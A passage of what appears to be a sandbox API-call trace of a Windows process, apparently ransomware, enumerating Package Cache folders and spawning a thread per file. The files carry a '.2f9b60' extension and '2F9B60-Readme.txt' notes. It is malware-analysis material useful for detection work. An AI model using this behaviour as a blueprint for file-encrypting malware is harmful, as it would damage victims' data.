Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0113.675] wcscat (in: _Dest=0x20278530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0113.675] wcscat (in: _Dest=0x20278530, _Source="c9c1af6b8.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\c9c1af6b8.2f9b60" [0127.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a4 [0127.236] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0127.236] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0127.236] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0127.236] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x20267170 | out: lpFindFileData=0x20267170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0127.237] FindClose (in: hFindFile=0x1cd9d9d0 | out: hFindFile=0x1cd9d9d0) returned 1 [0127.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267170) returned 1 [0127.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c5b0) returned 1 [0127.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b230) returned 1 Thread: id = 1174 os_tid = 0x8b8 [0113.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202783b0 [0113.677] wcscpy (in: _Dest=0x202783b0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0113.677] wcscat (in: _Dest=0x202783b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0113.677] wcscat (in: _Dest=0x202783b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0113.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202673e0 [0113.677] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x202673e0 | out: lpFindFileData=0x202673e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d6d0 [0113.678] wcscmp (_String1=".", _String2=".") returned 0 [0113.678] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x202673e0 | out: lpFindFileData=0x202673e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.678] wcscmp (_String1="..", _String2=".") returned 1 [0113.678] wcscmp (_String1="..", _String2="..") returned 0 [0113.678] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x202673e0 | out: lpFindFileData=0x202673e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.678] wcscmp (_String1="packages", _String2=".") returned 1 [0113.678] wcscmp (_String1="packages", _String2="..") returned 1 [0113.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20278470 [0113.678] wcscpy (in: _Dest=0x20278470, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0113.678] wcscat (in: _Dest=0x20278470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0113.678] wcscat (in: _Dest=0x20278470, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0127.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c [0127.240] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x202673e0 | out: lpFindFileData=0x202673e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.240] FindClose (in: hFindFile=0x1cd9d6d0 | out: hFindFile=0x1cd9d6d0) returned 1 [0127.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0127.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0127.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861960) returned 1 Thread: id = 1175 os_tid = 0xe38 [0113.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278230 [0113.680] wcscpy (in: _Dest=0x20278230, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0113.680] wcscat (in: _Dest=0x20278230, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0113.680] wcscat (in: _Dest=0x20278230, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0113.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20267650 [0113.680] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x20267650 | out: lpFindFileData=0x20267650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0113.680] wcscmp (_String1=".", _String2=".") returned 0 [0113.680] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x20267650 | out: lpFindFileData=0x20267650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.680] wcscmp (_String1="..", _String2=".") returned 1 [0113.680] wcscmp (_String1="..", _String2="..") returned 0 [0113.680] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x20267650 | out: lpFindFileData=0x20267650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.680] wcscmp (_String1="packages", _String2=".") returned 1 [0113.681] wcscmp (_String1="packages", _String2="..") returned 1 [0113.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118f00 [0113.681] wcscpy (in: _Dest=0x118f00, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0113.681] wcscat (in: _Dest=0x118f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0113.681] wcscat (in: _Dest=0x118f00, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0127.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x118f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec8 [0127.244] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x20267650 | out: lpFindFileData=0x20267650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.244] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0127.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267650) returned 1 [0127.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0127.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861a10) returned 1 Thread: id = 1176 os_tid = 0xe3c [0113.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c470 [0113.682] wcscpy (in: _Dest=0x4205c470, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0113.682] wcscat (in: _Dest=0x4205c470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0113.682] wcscat (in: _Dest=0x4205c470, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0113.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202678c0 [0113.682] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dcd0 [0113.683] wcscmp (_String1=".", _String2=".") returned 0 [0113.683] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.683] wcscmp (_String1="..", _String2=".") returned 1 [0113.683] wcscmp (_String1="..", _String2="..") returned 0 [0113.683] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd93dd0, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xecd93dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece78610, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0113.683] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0113.683] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0113.683] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="d64b797a0.2f9b60", cAlternateFileName="D64B79~1.2F9")) returned 1 [0113.683] wcscmp (_String1="d64b797a0.2f9b60", _String2=".") returned 1 [0113.683] wcscmp (_String1="d64b797a0.2f9b60", _String2="..") returned 1 [0113.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x202782f0 [0113.683] wcscpy (in: _Dest=0x202782f0, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0113.683] wcscat (in: _Dest=0x202782f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0113.683] wcscat (in: _Dest=0x202782f0, _Source="d64b797a0.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d64b797a0.2f9b60" [0127.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202782f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8 [0127.248] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0127.248] wcscmp (_String1="VC_redist.x64.exe", _String2=".") returned 1 [0127.248] wcscmp (_String1="VC_redist.x64.exe", _String2="..") returned 1 [0127.248] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x202678c0 | out: lpFindFileData=0x202678c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0127.248] FindClose (in: hFindFile=0x1cd9dcd0 | out: hFindFile=0x1cd9dcd0) returned 1 [0127.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0127.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c470) returned 1 [0127.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 Thread: id = 1177 os_tid = 0x648 [0113.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c510 [0113.684] wcscpy (in: _Dest=0x4205c510, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0113.685] wcscat (in: _Dest=0x4205c510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0113.685] wcscat (in: _Dest=0x4205c510, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0113.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20267b30 [0113.685] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xece061f0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece061f0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d3d0 [0113.685] wcscmp (_String1=".", _String2=".") returned 0 [0113.685] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xece061f0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece061f0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.685] wcscmp (_String1="..", _String2=".") returned 1 [0113.685] wcscmp (_String1="..", _String2="..") returned 0 [0113.685] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb9f30, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece78610, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0113.685] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0113.685] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0113.685] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="4d64046ba.2f9b60", cAlternateFileName="4D6404~1.2F9")) returned 1 [0113.685] wcscmp (_String1="4d64046ba.2f9b60", _String2=".") returned 1 [0113.685] wcscmp (_String1="4d64046ba.2f9b60", _String2="..") returned 1 [0113.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x202780b0 [0113.685] wcscpy (in: _Dest=0x202780b0, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0113.686] wcscat (in: _Dest=0x202780b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0113.686] wcscat (in: _Dest=0x202780b0, _Source="4d64046ba.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\4d64046ba.2f9b60" [0127.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202780b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0127.252] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0127.252] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0127.252] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0127.252] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x20267b30 | out: lpFindFileData=0x20267b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, 